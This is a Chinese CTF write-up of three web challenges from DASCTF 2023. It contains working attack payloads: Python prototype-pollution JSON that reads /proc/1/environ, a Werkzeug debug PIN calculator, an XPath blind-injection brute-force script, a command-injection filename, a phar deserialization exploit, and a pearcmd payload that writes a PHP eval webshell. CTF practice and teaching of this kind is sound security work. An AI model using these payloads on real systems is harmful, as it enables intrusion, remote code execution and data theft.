[DASCTF 2023 0X401七月暑期挑战赛] web刷题记录

文章目录

  • EzFlask
    • 方法一 python原型链污染
    • 方法二 flask框架静态文件
    • 方法三 pin码计算
  • MyPicDisk
    • 方法一 字符串拼接执行命令
    • 方法二 phar反序列化
  • ez_cms


EzFlask

考点:python原型链污染、flask框架理解、pin码计算

源码如下

import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)

分析一下,首先定义了check函数进行黑名单检测,然后是存在merge函数可以进行原型链污染,定义user的类;/register路由下先进行check检测,接收json格式数据,进行merge原型链污染;/login路由下,接收json数据,判断username的session是否正确;/路由下会读取源码文件(我们可以污染进行回显)

方法一 python原型链污染

前置知识

NodeJs原型链污染中,对象的__proto__属性,指向这个对象所在的类的prototype属性。如果我们修改了son.__proto__中的值,就可以修改父类。
在Python中,所有以双下划线__包起来的方法,统称为Magic Method(魔术方法),它是一种的特殊方法,普通方法需要调用,而魔术方法不需要调用就可以自动执行。

由于跟路由下会读取源码内容,我们可以污染__file__全局变量实现任意文件读取
由于过滤了__init__,我们可以通过Unicode编码绕过或者用类中的check代替
payload如下

{"username":"1","password":"1","__class__":{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/1/environ"}}}
}

然后再访问得到flag
在这里插入图片描述

方法二 flask框架静态文件

前置知识

在 Python 中,全局变量 app 和 _static_folder 通常用于构建 Web 应用程序,并且这两者在 Flask 框架中经常使用。

  1. app 全局变量:
    • app 是 Flask 应用的实例,是一个 Flask 对象。通过创建 app 对象,我们可以定义路由、处理请求、设置配置等,从而构建一个完整的 Web 应用程序。
    • Flask 应用实例是整个应用的核心,负责处理用户的请求并返回相应的响应。可以通过 app.route 装饰器定义路由,将不同的 URL 请求映射到对应的处理函数上。
    • app 对象包含了大量的功能和方法,例如 route、run、add_url_rule 等,这些方法用于处理请求和设置应用的各种配置。
    • 通过 app.run() 方法,我们可以在指定的主机和端口上启动 Flask 应用,使其监听并处理客户端的请求。
  2. _static_folder 全局变量:
    • _static_folder 是 Flask 应用中用于指定静态文件的文件夹路径。静态文件通常包括 CSS、JavaScript、图像等,用于展示网页的样式和交互效果。
    • 静态文件可以包含在 Flask 应用中,例如 CSS 文件用于设置网页样式,JavaScript 文件用于实现网页的交互功能,图像文件用于显示图形内容等。
    • 在 Flask 中,可以通过 app.static_folder 属性来访问 _static_folder,并指定存放静态文件的文件夹路径。默认情况下,静态文件存放在应用程序的根目录下的 static 文件夹中。
    • Flask 在处理请求时,会自动寻找静态文件的路径,并将静态文件发送给客户端,使网页能够正确地显示样式和图像。

综上所述,app 和 _static_folder 这两个全局变量在 Flask 应用中都扮演着重要的角色,app 是整个应用的核心实例,用于处理请求和设置应用的配置,而 _static_folder 是用于指定静态文件的存放路径,使网页能够正确地加载和显示样式和图像。

我们污染"_static_folder":"/",使得静态目录直接设置为了根目录,那么我们就可以访问/static/proc/1/environ
payload如下

{"username":"1","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"app":{"_static_folder":"/"}}}
}

访问静态文件即可
在这里插入图片描述

方法三 pin码计算

由于我们已经知道存在原型链污染,我们可以结合任意文件读取有效信息计算pin码
脚本如下

import hashlib
from itertools import chain
probably_public_bits = ['root'  'flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['2485376927778',  '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

然后访问/console即可
在这里插入图片描述

MyPicDisk

考点:xxe盲注、命令执行、phar反序列化

打开题目,给了登录框,试试万能密码抓包看看
发现有hint
在这里插入图片描述
访问把源码下载下来

<?php
session_start();
error_reporting(0);
class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match("/\//i", $filename)){throw new Error("hacker!");}$num = substr_count($filename, ".");if ($num != 1){throw new Error("hacker!");}if (!is_file($filename)){throw new Error("???");}$this->filename = $filename;$this->size = filesize($filename);$this->lasttime = filemtime($filename);}public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";}public function __destruct(){system("ls -all ".$this->filename);}
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){echo '
<form method="POST">username:<input type="text" name="username"></p>password:<input type="password" name="password"></p><input type="submit" value="登录" name="submit"></p>
</form>
';$xml = simplexml_load_file('/tmp/secret.xml');if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登录失败';}else{$_SESSION['user'] = $username;echo "<script>alert('登录成功!');location.href='/index.php';</script>";}}
}
else{if ($_SESSION['user'] !== 'admin') {echo "<script>alert('you are not admin!!!!!');</script>";unset($_SESSION['user']);echo "<script>location.href='/index.php';</script>";}echo "<!-- /y0u_cant_find_1t.zip -->";if (!$_GET['file']) {foreach (scandir(".") as $filename) {if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";}}echo '<form action="index.php" method="post" enctype="multipart/form-data">选择图片:<input type="file" name="file" id=""><input type="submit" value="上传"></form>';if ($_FILES['file']) {$filename = $_FILES['file']['name'];if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {die("hacker!");}if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";} else {die('failed');}}}else{$filename = $_GET['file'];if ($_GET['todo'] === "md5"){echo md5_file($filename);}else {$file = new FILE($filename);if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {echo "<img src='../" . $filename . "'><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";} else if ($_GET['todo'] === "remove") {$file->remove();echo "<script>alert('图片已删除!');location.href='/index.php';</script>";} else if ($_GET['todo'] === "show") {$file->show();}}}
}
?>
</body>
</html>

分析如下

  1. 定义了FILE类,包含三个属性。实例化的时候检测是否包含/,且是否只有一个.符号。然后定义了remove和show方法,最后会对文件名命令执行(此处可以rce)
  2. 然后就是接收登陆参数以及session值是否为admin
  3. 最后对上传文件进行白名单检测,然后提供remove和show功能,上传成功后会对文件名实例化

我们刚刚万能密码登录后发现并不是admin的session,所以还是不行
我们看向下面代码,存在xxe漏洞

if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登录失败';}else{$_SESSION['user'] = $username;echo "<script>alert('登录成功!');location.href='/index.php';</script>";}}

其中重要代码$x_query="/accounts/user[username='{$username}' and password='{$password}']";构建一个XPath查询语句,用于在XML文件中查

xxe盲注脚本如下

import requests
import time
url ='http://0f5e84c5-9aba-4f79-9744-65916fd167a9.node4.buuoj.cn:81/'strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'flag =''
for i in range(1,100):for j in strs:#猜测根节点名称 #accounts# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j),"password":123}# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)#猜测子节点名称 #user# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password>".format(i,j)#猜测accounts的节点# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测user节点# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}'  or ''='".format(i,j)、# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}'  or ''='".format(i,j)data={"username":payload_username,"password":123,"submit":"1"}print(payload_username)r = requests.post(url=url,data=data)time.sleep(0.1)# print(r.text)if "登录成功" in r.text:flag+=jprint(flag)breakif "登录失败" in r.text:breakprint(flag)

注出来的再拿去解密得到密码
在这里插入图片描述
登陆后发现有文件上传功能

方法一 字符串拼接执行命令

我们已经知道上传图片成功后会对FILE实例化,结合下面实现rce

public function __destruct(){system("ls -all ".$this->filename);}

注:一定不能报错,否则不会执行destruct

我们可以bp抓包,修改文件名如下

;`echo Y2F0IC9hZGphcyo= | base64 -d`;1.jpg

在这里插入图片描述

然后上传成功后访问?file=上传文件名即可
在这里插入图片描述

方法二 phar反序列化

这个思路的利用点如下

if ($_GET['todo'] === "md5"){echo md5_file($filename);
}

md5_file函数
在这里插入图片描述

一般参数是string形式的文件名称($filename)的函数,都可以用来解析phar

我们可以创建phar文件修改后缀,然后再file读取(todo参数值为md5)
exp

<?phpclass FILE{public $filename=';cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd';public $lasttime;public $size;}
$a=new FILE();
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后bp抓包修改后缀
在这里插入图片描述然后用phar伪协议读取即可

?file=phar://hacker.jpg&&todo=md5

在这里插入图片描述

ez_cms

考点:熊海cms

拿到题目,去网上找找相关漏洞,发现存在后台登陆
在这里插入图片描述盲猜用户为admin,然后密码爆破一下为123456
在这里插入图片描述
登录后,我们查到存在任意文件读取漏洞
在这里插入图片描述

试试读取源码
在这里插入图片描述
然后下载下来

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

分析一下,addslashes函数禁用了伪协议,将参数进行拼接
不过我们可以尝试pearcmd读取
payload如下

?+config-create+/&r=../../../../usr/share/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

坑点:这里的pearcmd的路径不为默认路径,出题人改了

我们bp抓包发送,成功写入
在这里插入图片描述
访问?r=../../../../tmp/shell
在这里插入图片描述
命令执行得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/179549.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

近五年—中国十大科技进展(2018年—2022年)

近五年—中国十大科技进展&#xff08;2018-2022&#xff09; 2022年中国十大科技进展1. 中国天眼FAST取得系列重要进展2. 中国空间站完成在轨建造并取得一系列重大进展3. 我国科学家发现玉米和水稻增产关键基因4. 科学家首次发现并证实玻色子奇异金属5. 我国科学家将二氧化碳人…

uni-app 微信小程序 pdf预览

<div click"getPDF">查看体检报告</div>getPDF() {uni.downloadFile({url: ${this.$baseURL}/file/download?id${this.pdfFileId},//编写在线的pdf地址success: function(res) {const filePath res.tempFilePath;uni.openDocument({filePath: filePath…

Roll-A-Ball 游戏

Roll-A-Ball 游戏 1&#xff09;学习资料 b站视频教程&#xff1a;https://www.bilibili.com/video/BV18W411671S/文档&#xff1a; * Roll-A-Ball 教程&#xff08;一)&#xff0c; * Roll-A-Ball 教程&#xff08;二)线上体验roll-a-ball成品 * http://www-personal.umich.e…

Spring面向切面编程(AOP);Spring控制反转(IOC);解释一下Spring AOP里面的几个名词;Spring 的 IoC支持哪些功能

文章目录 Spring面向切面编程(AOP)什么是AOPSpring AOP and AspectJ AOP 的区别&#xff1f;Spring AOP中的动态代理如何理解 Spring 中的代理&#xff1f;解释一下Spring AOP里面的几个名词Spring在运行时通知对象Spring切面可以应用5种类型的通知&#xff1a;什么是切面 Aspe…

第八节HarmonyOS @Component自定义组件的生命周期

在开始之前&#xff0c;我们先明确自定义组件和页面的关系&#xff1a; 1、自定义组件&#xff1a;Component装饰的UI单元&#xff0c;可以组合多个系统组件实现UI的复用。 2、页面&#xff1a;即应用的UI页面。可以由一个或者多个自定义组件组成&#xff0c;Entry装饰的自定…

ArkUI开发进阶—@Builder函数@BuilderParam装饰器的妙用与场景应用【鸿蒙专栏-05】

ArkUI开发进阶—@Builder函数@BuilderParam装饰器的妙用与场景应用 HarmonyOS,作为一款全场景分布式操作系统,为了推动更广泛的应用开发,采用了一种先进而灵活的编程语言——ArkTS。ArkTS是在TypeScript(TS)的基础上发展而来,为HarmonyOS提供了丰富的应用开发工具,使开…

创建一个带有背景图层和前景图层的渲染窗口

开发环境&#xff1a; Windows 11 家庭中文版Microsoft Visual Studio Community 2019VTK-9.3.0.rc0vtk-example demo解决问题&#xff1a; 创建一个带有背景图层和前景图层的渲染窗口&#xff0c;知识点&#xff1a;1. 画布转image&#xff1b;2. 渲染图层设置&#xff1b;3.…

高级JVM

一、Java内存模型 1. 我们开发人员编写的Java代码是怎么让电脑认识的 首先先了解电脑是二进制的系统&#xff0c;他只认识 01010101比如我们经常要编写 HelloWord.java 电脑是怎么认识运行的HelloWord.java是我们程序员编写的&#xff0c;我们人可以认识&#xff0c;但是电脑不…

python基础练习题库实验6

文章目录 题目1代码实验结果题目2代码实验结果题目3代码实验结果题目4代码实验结果题目总结题目1 根据以下规范编写一个函数: 函数名称:triple输入参数:1个输入参数数据类型字符串返回值:函数返回1个字符串值。该字符串由每个字符重复3次的句子构成。例如,如果句子是Uni,…

赋值,浅拷贝,深拷贝

1.前置知识 数据分为基本类型(String, Number, Boolean, Null, Undefined&#xff0c;Symbol)和引用类型(Object)基本类型&#xff1a;直接存储在栈内存中的数据引用类型&#xff1a;指向改数据的指针变量存储在栈内存中&#xff0c;真实的数据存储在堆内存中引用类型在栈内存…

电机伺服驱动学习笔记(6)PID算法

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、连续PID二、参数整定1.一般调节法 工具提示参考文献 前言 提示&#xff1a;本文是根据野火科技电机系列教学视频PID算法的通俗解说和参数整定视频课章节整…

数据结构 | 查找

基本概念 关键字&#xff1a;数据元素中唯一标识该元素的某个数据项的值&#xff0c;使用基于关键字的查找&#xff0c;查找结果应该是唯一的。例如&#xff0c;在由一个学生元素构成的数据集合中&#xff0c;学生元素中“学号”这一数据项的值唯一地标识一名学生。 查找表&a…

ARM Cortex-M核的内核态,用户态

首先&#xff0c;用户态和内核态是从操作系统层面上来划分的&#xff0c;如果没有操作系统&#xff0c;我可以直接运行在特权模式下&#xff0c;并使用特权指令。在这种情况下&#xff0c;我将负责管理和控制系统资源&#xff0c;执行关键操作&#xff0c;以及确保系统的安全性…

OSG编程指南<十三>:OSG渲染状态

1、前言 在 OSG 中存在两棵树&#xff0c;即场景树和渲染树。渲染树是一棵以 StateSet 和 RenderLeaf 为节点的树&#xff0c;它可以做到 StateSet 相同的 RenderLeaf 同时渲染而不用切换 OpenGL状态&#xff0c;并且做到尽量少但在多个不同 State 间切换。渲染树在 CullVisito…

正则表达式回溯陷阱

一、匹配场景 判断一个句子是不是正规英文句子 text "I am a student" 一个正常的英文句子如上&#xff0c;英文单词 空格隔开 英文单词 多个英文字符 [a-zA-Z] 空格用 \s 表示 那么一个句子就是单词 空格&#xff08;一个或者多个&#xff0c;最后那个单词…

java学习part21枚举

117-面向对象(高级)-枚举类的两种定义方式及练习_哔哩哔哩_bilibili 1.概念 2.enum关键字 枚举早期是用class内放n个public static final类变量供调用。 后来有了enum关键字&#xff0c;enum里的枚举变量都是public static final&#xff0c;但是必须都省略不写 正确方法 &…

【Java】7. 类型转换和类型判断

7. 类型转换 7.1 基本类型转换 顺箭头&#xff1a;隐式转换&#xff08;自动&#xff09; 逆箭头&#xff1a;强制转换&#xff08;可能造成精度丢失&#xff09; byte a 10; int b a; int c 1000; byte d (byte) c; System.out.println(d); // -24 7.2 包装类型与基…

Vue 双向数据绑定

之前通过v-bind来完成的数据绑定&#xff0c;属性值和表达式进行绑定&#xff0c;表达式的值发生变化了属性值也跟着发生变化。 单向数据绑定&#xff1a; <!DOCTYPE html> <html> <head><meta charset"UTF-8"><title>首页</titl…

C语言错误处理之“非局部跳转<setjmp.h>头文件”

目录 前言 setjmp宏 longjmp函数 使用方法&#xff1a; 实例&#xff1a;测试setjmp与longjmp的使用 前言 通常情况下&#xff0c;函数会返回到它被调用的位置&#xff0c;我们无法使用goto语句改变它的返回的方向&#xff0c;因为goto语句只能跳转到同一函数内的某个标号…

文件服务器迁移

文件服务器迁移还是比较简单的 win server加域 导出配额文件 选中所有项&#xff0c;点击导出 导出共享文件夹权限列表 导出文件夹的权限表&#xff0c;留作备用。需要用到“icacls” icacls c:\windows\* /save aclfile /t # C:\Windows 目录及其子目录中所有文件的 DAC…